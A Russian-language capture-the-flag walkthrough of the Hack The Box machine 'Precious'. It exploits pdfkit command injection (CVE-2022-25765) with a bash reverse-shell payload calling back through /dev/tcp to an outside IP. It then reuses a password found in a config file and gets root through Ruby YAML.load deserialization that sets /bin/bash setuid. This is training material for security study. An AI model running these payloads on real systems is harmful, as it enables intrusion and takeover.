Hack The Box. Прохождение Precious. Уязвимость CVE-2022-25765
Сбор информации
Прежде всего, соберем информацию о машине.
Используем nmap с ключами -sV -sC:
Сканирование показало, что порт 22 и порт 80 — октрыты. Видим , что порт 80 перенаправляет на http://precious.htb. Чтоб увидеть сайт, добавим его в /etc/hosts .
Посмотрим какие есть директории используя инструмент dirsearch:
Тут ничего. Проверим web server. При переходе на precious.htb, видим такую страницу:
Веб сервер предлагает сервис по конвертации веб-страниц в файл PDF. Проверим, работает ли. Запустим локальный сервер у себя.
Создадим index.html в директории localhost, и внесём его в адресную строку :
Сработало! Скачали PDF файл, посмотрим что он из себя представляет:
Посмотрим его свойства, он создан pdfkit v. 0.8.6 .
Выглядит как обычный PDF файл. Смотрим его свойства и видим что PDF создан pdfkit v. 0.8.6 .
Беглое исследование в google приводит нас к тому, что существует уязвимость CVE-2022–25765, и можно узнать, что эта версия pdfkit уязвима к command injections.
Ознакомиться с CVE можно тут: https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795
Согласно CVE, «an application could be vulnerable if it tries to render a URL that contains query string parameters with user input» и «if the provided parameter happens to contain a URL encoded character and a shell command substitution string, it will be included in the command that PDFKit executes to render the PDF». Этого достаточно, чтобы проникнуть!
Запустим netcat на прослушку порта 4444:
sudo nc -lnvp 4444
В веб сервисе http://precious.htb модифицируем эксплойт под наши нужды и введём:
http://localhost.com/? name=#{'%20`bash -c «bash -i >& /dev/tcp/10.10.14.33/4444 0>&1»`'}
Смотрим в terminal и видим, что мы вошли.
Получаем user flag:
Whoami → ruby
Итак мы залогинились на сервер, как пользователь ruby. Переместимся в папку /home и в ней находим ещё две папки. Одна из них наш ruby user, а вторая для user«а henry. Внутри папки henry обнаруживаем файл user.txt. Это и есть наш флаг. Но пока не имеем к нему доступа.
Осмотревшись, находим файл в /home/ruby/.bundle, названый config.
Смотрим содержимое cat config. и обнаруживаем пароль для user«а henry.
Используя данные henry, подключимся по ssh к серверу под user«ом henry:
Теперь можем посмотреть user.txt, и берём первый флаг!
Получаем root flag:
Теперь, когда мы внутри как henry, давайте посмотрим, что можно сделать. Используем команду sudo -l, и посмотрим, что можно запустить:
Похоже henry может запустить файл update_dependencies.rb, как root, используем cat и изучим файл.
Смотрим на код и обнаруживаем, что он использует YAML.load, который уязвим к deserialization attack.
Почитать больше о YAML deserialization attacks можно тут:
https://github.com/DevComputaria/KnowledgeBase/blob/master/pentesting-web/deserialization/python-yaml-deserialization.md
Недолгие поиски привели к https://staaldraad.github.io/post/2021–01–09-universal-rce-ruby-yaml-load-updated/ находим dependencies.yml, и модифицируем его.
Sudo nano dependencies.yml, и берём код на Ruby on Rails из поста выше.
В строке git_set: id, напишем «chmod 4777 /bin/bash», если всё продумано верно, то это позволит получить нам root.
Запускаем файл.
Sudo /usr/bin/ruby /opt/update_dependencies.rb
Сработало!
Пробуем /bin/bash -p
Готово, берём root флаг!